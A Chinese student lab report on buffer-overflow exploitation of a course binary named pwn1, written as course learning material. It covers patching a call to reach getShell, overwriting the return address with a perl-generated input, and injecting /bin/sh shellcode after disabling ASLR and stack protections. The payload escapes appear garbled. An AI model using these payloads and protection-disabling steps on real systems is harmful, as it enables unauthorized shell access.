2019-2020-2 20175325石淦铭《网络对抗技术》Exp1 PC平台逆向破解
目录:
- 基础知识
- 实验内容
- 遇到的问题以及解决方法
- 实验感想
基础知识
1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 通过反汇编指令
objdump -d pwn20175325
查看可执行文件pwn20175325
的反汇编代码和对应的机器码,可知道:NOP汇编指令的机器码是“90”,JNE汇编指令的机器码是“75”,JE 汇编指令的机器码是“74”,JMP汇编指令的机器码是“eb”,CMP汇编指令的机器码是“39”
具体解释如下: - NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2、掌握反汇编与十六进制编程器
- 反汇编指令是
objdump -d xxx
- 如果想要以全屏幕的方式按页显示反汇编的内容,可以在反汇编指令后添加
| more
。 - 十六进制编程器:是用来以16进制视图进行文本编辑的编辑工具软件功能。
- 具体步骤如下:
① 输入命令vi 20175325sgm
查看可执行文件内容,发现大部分是我们没法理解的乱码;
② 按esc后输入:%!xxd
将显示模式切换为16进制模式;
③ 进行相关操作后,输入:%!xxd -r
转换16进制为原格式。
实验内容
一、直接修改程序机器指令,改变程序执行流程
1、从老师码云中下载pwn1.zip进行解压,并将pwn1文件备份 cp pwn1 pwn20175325
2、通过objdump -d pwn20175325
对文件进行反汇编,并且可以观察到:
getShell函数的地址是804847d,foo函数的地址是8048491,可以发现两地址之差为十六进制“14”,在main函数中call后面地址为8048491 即调用了foo函数
3、使用vi pwn20175325
进入打开文件
4、在vi内,使用esc
和:%!xxd
将显示模式切换为16进制模式
5、查找要修改的内容:/d7
6、修改d7为c3(d7-14=c3)
7、转换16进制为原格式:%!xxd -r
,并用:wq
存盘退出vi
8、再反汇编看一下,很明显call指令正确调用getShell。
二、通过构造输入参数,造成BOF攻击,改变程序执行流
1、分析代码,发现foo函数存在Buffer overflow漏洞
2、、进入gdb使用指令gdb pwn20175325
然后r输入1111111122222222333333334444444455555555
并info r
观察寄存器中数值寻找关系:
发现eip寄存器中的值为0x35353535,因为在ASCII中30为0,所以35代表的是5,由此猜测最后八个5中某四个5决定了寄存器中的值,为了准确找出是哪四个数字,于是我们把8个5换成12345678
3、由于1234 那四个数最终会覆盖到堆栈上的返回地址,并且由之前的截图可以看到getshell的内存地址为0804847d,所以我们要用getshell的地址0x0804847d替换它;所以应将其反着输入放在11111111222222223333333344444444
的后面,即11111111222222223333333344444444x7dx84x04x08
。(因为十六进制的缘故添加x)
4、输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
将字符串用perl脚本语言写入input文件;
5、用xxd input
以16进制显示input文件,检查写入地址的正误;
6.确认无误后用(cat input;cat) | ./pwn20175325
来将改字符串作为可执行文件的输入。
三、注入Shellcode并执行
- Shellcode实际是一段代码,是用来发送到服务器利用特定漏洞的代码,Shellcode是溢出程序和蠕虫病毒的核心,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器,由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
- 构造要注入的payload有两种方法:
(1)nop+shellcode+retaddr
(适用于缓冲区大的情况)
(2)retaddr+nop+shellcode
(适用于缓冲区小的情况)
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。 - 实验步骤:
1、使用指令apt-get install execstack
安装execstack
2、输入以下代码:
root@kali:/home/sgm20175325/20175325/pwn1# execstack -s pwn1 //设置堆栈可执行
root@kali:/home/sgm20175325/20175325/pwn1# execstack -q pwn1 //查询文件的堆栈是否可执行
X
root@kali:/home/sgm20175325/20175325/pwn1# more /proc/sys/kernel/randomize_va_space
2
root@kali:/home/sgm20175325/20175325/pwn1# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@kali:/home/sgm20175325/20175325/pwn1# more /proc/sys/kernel/randomize_va_space
0
3、采用第二种构造要注入的payload的方法:retaddr+nop+shellcode
,使用命令perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。
4、打开两个终端,其中一个终端输入(cat input_shellcode;cat) | ./pwn1
攻击buf,令一个终端输入ps -ef | grep pwn1
查看pwn1的进程号:2689
5、gdb中首先(gdb) disassemble foo
设置断点来查看注入buf的内存地址。然后(gdb) break *0x080484ae
(此处的断点地址应为返回值ret的地址)并在此时在另一个终端内按下回车。然后continue继续gdb。
6、用gdb调试程序;使用(gdb) info r esp
指令来查看寄存器的值(gdb) x/16x 0xffffd3fc
以16进制查看esp寄存器地址开头的内存中的值,看到 1020304了,就是返回地址的位置,shellcode地址是 0xffffd2f0。
7、所以修改地址为perl -e 'print "xf0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
接着使用xxd input_shellcode
指令来查看转换进制内容,并使用指令(cat input_shellcode;cat) | ./pwn1
来查看验证实验结果,至此,完成了构造payload进行bof攻击。
遇到的问题以及解决方法
问题:在编译pwn1时,出现以下问题
解决方法:
1、用su切换到root用户,由于之前没有设置密码,所以首先在命令行下敲:sudo passwd root
,设置输入新密码,并确认新密码。
2、用文本编辑器打开source.list : leafpad /etc/apt/sources.list
3、添加下列更新源:
4、对软件进行一次整体更新:
apt-get clean
apt-get update
apt-get upgrade
并安装32位运行库:apt-get install lib32ncurses5
实验感想
- 什么是漏洞?漏洞有什么危害?
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。并且这次实验就是利用缓冲区溢出漏洞,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的。
- 系统漏洞经常被不法者或黑客用于向电脑强制安装恶意程序、传播病毒以及植入木马,统漏洞容易导致电脑重要的数据和信息被窃取,严重者会导致操作系统被破坏,电脑数据全部丢失,并且在局域网环境中,还会造成病毒的传播,导致其他电脑瘫痪,危害极大。
- 实验收获与感想
通过这次实验,掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码的理论知识和一些具体的数值,并且还学习了反汇编指令,在出现乱码时,可以用十六进制编程器进行转化,通过实验自己动手实现缓冲区溢出攻击,通过修改栈所存储的指令地址,使跳转到想运行的指令,理解了堆栈是如何被恶意代码覆盖的,覆盖后是怎么实现跳转执行的,
对缓冲区溢出也有了更深的理解。